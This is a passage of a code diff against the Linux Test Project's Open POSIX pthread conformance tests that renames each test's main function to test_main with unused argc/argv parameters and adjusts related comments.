a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstacksize/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstacksize/1-1.c index 9903333c..59fe9f5d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstacksize/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstacksize/1-1.c @@ -27,7 +27,7 @@ #define FUNCTION "pthread_attr_getstacksize" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t attr; size_t stack_size; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_init/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_init/1-1.c index 5d7096d1..3a58b509 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_init/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_init/1-1.c @@ -24,7 +24,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t new_attr; int detach_state; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_init/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_init/2-1.c index f2b2a546..1db39906 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_init/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_init/2-1.c @@ -36,21 +36,21 @@ static int sem1; /* Manual semaphore */ static void *a_thread_func() { - /* Indicate to main() that the thread was created. */ + /* Indicate to test_main() that the thread was created. */ sem1 = INTHREAD; - /* Wait for main to detach change the attribute object and try and detach this thread. + /* Wait for test_main to detach change the attribute object and try and detach this thread. * Wait for a timeout value of 10 seconds before timing out if the thread was not able * to be detached. */ sleep(TIMEOUT); printf - ("Test FAILED: Did not detach the thread, main still waiting for it to end execution.\n"); + ("Test FAILED: Did not detach the thread, test_main still waiting for it to end execution.\n"); pthread_exit((void *)PTS_FAIL); return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; pthread_attr_t new_attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_init/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_init/3-1.c index aeca480b..86452bd4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_init/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_init/3-1.c @@ -29,7 +29,7 @@ static void *a_thread_func(void *attr PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_threads[NUM_THREADS]; pthread_attr_t new_attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_init/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_init/4-1.c index a81dd7db..ff2112a0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_init/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_init/4-1.c @@ -19,7 +19,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t new_attr; int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setdetachstate/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setdetachstate/1-1.c index 46eaab5f..c79db2fe 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setdetachstate/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setdetachstate/1-1.c @@ -31,7 +31,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t new_attr; int detach_state; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setdetachstate/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setdetachstate/1-2.c index de88ec85..bfe9bac6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setdetachstate/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setdetachstate/1-2.c @@ -31,7 +31,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t new_attr; int detach_state; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setdetachstate/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setdetachstate/2-1.c index bda3831d..bff117f5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setdetachstate/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setdetachstate/2-1.c @@ -32,7 +32,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; pthread_attr_t new_attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setdetachstate/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setdetachstate/4-1.c index 819b5ceb..920ebd4b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setdetachstate/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setdetachstate/4-1.c @@ -21,7 +21,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t new_attr; int ret_val, invalid_val; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/1-1.c index 19bb3b5e..af75625d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/1-1.c @@ -53,7 +53,7 @@ static int verify_inheritsched(pthread_attr_t * attr, int schedtype) return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc = 0; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/2-1.c index 15fa9df5..d66aea98 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/2-1.c @@ -53,7 +53,7 @@ static void *thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/2-2.c index 1901df03..75bc94f3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/2-2.c @@ -59,7 +59,7 @@ static void *thread_func(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/2-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/2-3.c index ae268c82..1acdbe7e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/2-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/2-3.c @@ -53,7 +53,7 @@ static void *thread(void *tmp PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t attr; pthread_t thread_id; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/2-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/2-4.c index dbc6abfc..51d67cce 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/2-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/2-4.c @@ -53,7 +53,7 @@ static void *thread(void *tmp PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t attr; pthread_t thread_id; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/4-1.c index f723c67b..0569d1a6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setinheritsched/4-1.c @@ -26,7 +26,7 @@ #define INVALIDSCHED 999 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc = 0; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/1-1.c index ba91fbcf..60703e9b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/1-1.c @@ -34,7 +34,7 @@ static void *thread_func() return (void *)(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t thread; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/1-2.c index 58829ffb..0969ddd6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/1-2.c @@ -35,7 +35,7 @@ static void *thread_func() return (void *)(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t thread; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/1-3.c index a09227d8..c95a3af0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/1-3.c @@ -51,7 +51,7 @@ static void *thread(void *tmp PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t thread_id; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/1-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/1-4.c index ee06d439..a6fb4a1d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/1-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/1-4.c @@ -54,7 +54,7 @@ static void *thread(void *tmp PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t thread_id; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/speculative/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/speculative/3-1.c index 94843372..73208043 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/speculative/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/speculative/3-1.c @@ -25,7 +25,7 @@ #define FIFOPOLICY SCHED_FIFO #define PRIORITY_OFFSET 1000 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t attr; int rc = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/speculative/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/speculative/3-2.c index c06c372f..e18c7198 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/speculative/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedparam/speculative/3-2.c @@ -25,7 +25,7 @@ #define RRPOLICY SCHED_RR #define PRIORITY_OFFSET 1000 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t attr; int rc = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/1-1.c index 5528c331..b09a04a3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/1-1.c @@ -16,7 +16,7 @@ #include "common.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; struct params p; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/1-2.c index 19fe4742..9410cf81 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/1-2.c @@ -23,7 +23,7 @@ #include "common.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; struct params p; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/1-3.c index ca4f9486..14bf0c6b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/1-3.c @@ -23,7 +23,7 @@ #include "common.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; struct params p; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/2-1.c index 388897ee..107cd2fd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/2-1.c @@ -135,7 +135,7 @@ static int create_thread(int prio, pthread_t * tid) return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int status; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/4-1.c index 7fd6317c..59105f4f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/4-1.c @@ -26,7 +26,7 @@ #define INVALIDPOLICY 999 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/5-1.c index 51b10305..f59ca990 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setschedpolicy/5-1.c @@ -51,7 +51,7 @@ static int set_policy(char *label, int policy) return status; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setscope/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setscope/1-1.c index cb32430b..27e8da4d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setscope/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setscope/1-1.c @@ -33,7 +33,7 @@ static void *thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setscope/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setscope/4-1.c index e9ec8999..69f1b51d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setscope/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setscope/4-1.c @@ -26,7 +26,7 @@ #define INVALIDSCOPE 999 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc = 0; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setscope/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setscope/5-1.c index b7c765f5..88aeeee3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setscope/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setscope/5-1.c @@ -23,7 +23,7 @@ #define ERR_MSG(f, rc) printf("Failed: func: %s rc: %s (%u)\n", \ f, strerror(rc), rc) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc1; int rc2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/1-1.c index 14aeed17..f74cd110 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/1-1.c @@ -38,7 +38,7 @@ static void *thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/2-1.c index 15971e98..c14abaf4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/2-1.c @@ -59,7 +59,7 @@ static void *thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/4-1.c index 264ebb10..9bf6310f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/4-1.c @@ -50,7 +50,7 @@ static void *thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/6-1.c index d298c30e..ef046022 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/6-1.c @@ -31,7 +31,7 @@ static void *stack_addr; static size_t stack_size; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t attr; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/7-1.c index 932fa820..a0d8cbd3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstack/7-1.c @@ -32,7 +32,7 @@ static void *stack_addr; static size_t stack_size; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t attr; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/1-1.c index 364d2242..b18b5059 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/1-1.c @@ -35,7 +35,7 @@ static void *thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/2-1.c index 2364f579..f8ff1300 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/2-1.c @@ -59,7 +59,7 @@ static void *thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/4-1.c index 800913a6..8bc788b6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_setstacksize/4-1.c @@ -28,7 +28,7 @@ #define STACKSIZE PTHREAD_STACK_MIN - sysconf(_SC_PAGE_SIZE) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t attr; void *saddr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/1-1.c index aa58520f..45c7ba99 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/1-1.c @@ -26,7 +26,7 @@ static pthread_barrier_t barrier; #define LOOP_NUM 5 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/2-1.c index 93e8c648..1886eb5f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/2-1.c @@ -76,7 +76,7 @@ static void *watchdog(void *arg) return arg; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/1-1.c index 2c554e91..d0442b4a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/1-1.c @@ -28,7 +28,7 @@ static pthread_barrier_t barrier; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; pthread_barrierattr_t ba; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/3-1.c index 05a698f3..98e3be0d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/3-1.c @@ -23,7 +23,7 @@ #include <string.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; pthread_barrier_t barrier; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/4-1.c index 301eb105..cee4430d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_init/4-1.c @@ -65,7 +65,7 @@ static void sig_handler() exit(PTS_PASS); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/1-1.c index 1951a088..12ed26fd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/1-1.c @@ -60,7 +60,7 @@ static void sig_handler() exit(PTS_FAIL); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/2-1.c index e279bcc8..562c78d2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/2-1.c @@ -65,7 +65,7 @@ static void *fn_chld(void *arg) return NULL; } -int main(void) +int test_main(int argc 